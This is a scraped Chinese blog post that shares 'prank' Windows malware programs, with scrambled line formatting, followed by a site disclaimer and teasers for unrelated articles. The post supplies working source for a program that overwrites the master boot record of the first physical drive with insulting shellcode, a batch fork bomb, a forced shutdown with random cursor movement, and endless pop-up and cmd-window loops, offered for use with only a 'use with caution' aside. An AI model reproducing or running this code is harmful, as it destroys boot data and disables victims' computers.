不想废话,直接看:
让鼠标“鸡飞狗跳”
-
#include
<windows.h
>
-
#include
<bits
/stdc
+
+.h
>
-
using namespace std;
-
int main()
-
{
-
system(
"Shutdown -s -t 60");
-
HWND hwnd;
-
hwnd
=FindWindow(
"ConsoleWindowClass",
NULL);
-
if(hwnd) ShowWindow(hwnd,SW_HIDE);
-
int x
=GetSystemMetrics(SM_CXSCREEN);
-
int y
=GetSystemMetrics(SM_CYSCREEN);
-
srand(
time(
0));
-
while(
1)cout
<
<
"Oh!!!"
<
<endl
&
&SetCursorPos(rand()%x,rand()%y);
-
}
清除MBR,会显示 Fuck you ^_^ :-(慎用!)
-
-
#include
<windows.h
>
-
#include
<winioctl.h
>
-
-
unsigned char scode[]
=
-
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
-
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
-
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
-
/
*
-
00000000 B
81200 mov ax,
12H ; ah
=
0, al
=
12h (
640
*
480)
-
00000003 CD
10 int
10h ; 进入图形显示方式,隐藏光标
-
00000005 BD
187C mov bp, Msg ; ES:BP
= 串地址
-
00000008 B
91800 mov cx,
18h ; CX
= 串长度
-
0000000B B
80113 mov ax,
1301h ; AH
=
13, AL
=
01h
-
0000000E BB
0C
00 mov bx,
000
ch ; 页号为
0(BH
=
0) 黑底红字(BL
=
0
Ch,高亮)
-
00000011 BA
1D
0E mov dx,
0e
1dh ; dh行, dl列
-
00000014 CD
10 int
10h ;
10h 号中断
-
00000016 E
2FE loop $
-
Msg: db
" Fuck you ^_^ :-)"
-
*
/
-
int main()
-
{
-
HANDLE hDevice;
-
DWORD dwBytesWritten, dwBytesReturned;
-
BYTE pMBR[
512]
= {
0 };
-
-
/
/ 重新构造MBR
-
memcpy(pMBR, scode, sizeof(scode)
-
1);
-
pMBR[
510]
=
0x
55;
-
pMBR[
511]
=
0xAA;
-
-
hDevice
= CreateFile
-
(
-
L
"\\\\.\\PHYSICALDRIVE0",
-
GENERIC_
READ | GENERIC_
WRITE,
-
FILE_SHARE_
READ |
FILE_SHARE_
WRITE,
-
NULL,
-
OPEN_EXISTING,
-
0,
-
NULL
-
);
-
if (hDevice
=
=
INVALID_HANDLE_
VALUE)
-
return -
1;
-
DeviceIoControl
-
(
-
hDevice,
-
FSCTL_
LOCK_VOLUME,
-
NULL,
-
0,
-
NULL,
-
0,
-
&dwBytesReturned,
-
NULL
-
);
-
/
/ 写入病毒内容
-
WriteFile(hDevice, pMBR, sizeof(pMBR),
&dwBytesWritten,
NULL);
-
DeviceIoControl
-
(
-
hDevice,
-
FSCTL_
UNLOCK_VOLUME,
-
NULL,
-
0,
-
NULL,
-
0,
-
&dwBytesReturned,
-
NULL
-
);
-
CloseHandle(hDevice);
-
return
0;
-
}
-
-
下一个是耗内存:
-
#include
<Windows.h
>
-
#include
<iostream
>
-
#include
<fstream
>
-
using namespace std;
-
-
int main()
-
{
-
char a[
9]
=
"abc.bat";
-
-
ofstream
file_out(a);
-
file_out
<
<
"%0|%0";
-
file_out.
close();
-
-
system( a );
-
-
return
0;
-
}
相信大家见过无限弹窗
c++
-
#include <windows.h>
-
#pragma comment (lib, "User32.lib")
-
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
-
while(
1){
-
MessageBox(
NULL,
TEXT(
"关不掉吧!"),
TEXT(
"中病毒啦~~你这个SB!"), MB_OK);
//建立弹窗
-
}
-
return
0;
-
}
bat:
-
-
:
start
-
start cmd
-
goto
start
</article>
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/720869.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!相关文章
docker 容器中安装mysql服务
一 安装mysql服务
1.1 拉取镜像
1.拉取: docker pull mysql:5.7.29
2.查看镜像: docker images 1.2 在宿主机创建文件存储mysql
1.创建映射目录:mysql-c5 在/root/export/dockertest 目录下,mkdir -p mysql-c5 &#…
百度网盘群组目录导出
下载油猴插件,添加脚本:https://github.com/Avens666/BaidunNetDisk-script
虽然网页版已经更新,但是我发现旧版目录仍在,访问https://pan.baidu.com/mbox/homepage 选择导出目录即可,要等一会,页面可能会…
医疗器械市场行情有目共睹
针对大型医用设备配置,官方的态度正由“保守”转为“鼓励”,这一变化对于市场的重要性不言而喻。6月29日,国家卫健委发布《关于“十四五”大型医用设备配置规划的通知》(简称“通知”),公布了“十四五”期间…
计算机网络课程 day1 基本概念-交换机-路由器 计算机网络的参考模型
目录
学习计算机网络课程的目标和意义:
计算机网络的基本概念
常用网络设备: network device
交换机:组建局域网使用的,将很多电脑连接起来,组成一个局域网络,可以一起打游戏/上网
路由器:…
计算机组成原理复习总结
文章目录 第一章:计算机系统概述1.1 计算机系统知识点分析存储程序控制冯诺依曼计算机的特点计算机系统组成计算机层级结构 三种语言和三种程序 第一章:计算机系统概述
1.1 计算机系统
知识点分析 存储程序控制
1945年由美籍匈牙利数学家冯诺伊曼提出…
mac 的vue项目新建并启动访问
mac 安装、配置vue开发环境&新建vue项目并启动访问 一、 安装hbuilderx二、 安装node.js三、 vue 脚手架1、打开终端,以管理员身份运行:2、下载vue的源3、通过cnpm 安装vue脚手架4、启动vue脚手架自带的项目管理器(服务)4.1、创建空的vue项目4.2、安…
scratch 恐龙抓恐龙
scratch 恐龙抓恐龙 本程序有两个角色,绿色“恐龙”生成两个,碰到边缘或另一个时反弹、连续移动、每隔一段时间转到随机方向。红色“恐龙”连续生成、持续移动、碰到边缘反弹、接近绿色恐龙时转向、碰到绿色恐龙时删除。
具体内容如下
绿色恐龙 红色恐…
ts全局类型(interface)
引入全局interface 首先先创建全局类型文件 命名以 xxx.d.ts 结尾 在项目中找到 tsconfig.json 配置文件 在 compilerOptions 下添加typeRoot属性,值为新创建的文件路径。 项目启动的时候就会自动读取该文件。 文件内容
declare xxx {interface xxx {...}
}
…
正向代理与反向代理:解密网络代理的两种不同姿态
文章目录 正向代理反向代理总结辨析:nginx的双重身份 正向代理
在正向代理中,代理服务器代表客户端向目标服务器发送请求,并将目标服务器的响应返回给客户端。 客户端通常需要配置使用正向代理来访问外部资源,而目标服务器对代理…
React03-props 和 state 详解
一、props 组件传参
1. props 基本使用
我们在使用组件时可以向组件传递数据,在组件内可以使用 props 对象来调用传入的数据。
function Person(props) {return <div><h3>姓名:{props.name}</h3><h3>年龄:{props.…
MySQL原理探索——25 MySQL是怎么保证高可用的
在上一篇文章中,介绍了 binlog 的基本内容,在一个主备关系中,每个备库接收主库的 binlog 并执行。 正常情况下,只要主库执行更新生成的所有 binlog,都可以传到备库并被正确地执行,备库就能达到跟主库一致的…
MySQL-分库分表详解(三)
♥️作者:小刘在C站 ♥️个人主页: 小刘主页 ♥️努力不一定有回报,但一定会有收获加油!一起努力,共赴美好人生! ♥️学习两年总结出的运维经验,以及思科模拟器全套网络实验教程。专栏…
开始编写Python程序之Python小工具:word转pdf、压缩文件、解压文件、jpg转png
1、下载Python编译器
PyCharm官网下载地址对于个人编程,下载免费版的Community即可 2、创建一个Python项目
Python的最佳实现是为每个项目创建virtualenv。为此,请展开Project Interpreter:New Virtualenv Environment节点,然后…
SSM框架模板(高配:一次性配完所有需要的配置文件)
目录
一、pom.xml文件配置(基本不需要修改)
二、applicationContex.xml文件的配置。(这里只有一个地方需要修改)
三、mybatis-config.xml文件配置(根据需要修改)
四、配置web.xml文件(基本不…
Redis实战案例10-优惠券1-全局唯一ID
1. 全局ID生成器 id的规律性明显造成某些信息的泄露; 使用自增ID作为主键会导致一些问题。首先,由于自增ID必须是唯一的,因此当达到最大值时,无法再向表中插入新的数据,这限制了表的数据量。例如:订单如果一…
基本介绍实施工程师,以及实施工程师在软件开发的作用
一.软件实施介绍
1.什么是软件实施? 软件实施是指将软件开发完成后,按照计划进行部署和安装,使软件能够在目标环境中正常运行的过程。下面是软件实施的一般步骤: 1. 规划和准备:确定实施的范围、目标和计划࿰…
如何将PNG格式照片转换为JPG格式
如何将PNG格式照片转换为JPG格式
当您需要在网络上共享或存储图像时,将PNG格式的照片转换为JPG格式是一个常见的需求。本文将介绍一些关于将PNG格式照片转换为JPG格式的相关知识。
问题与解决方案
图像质量损失
在将PNG格式照片转换为JPG格式的过程中࿰…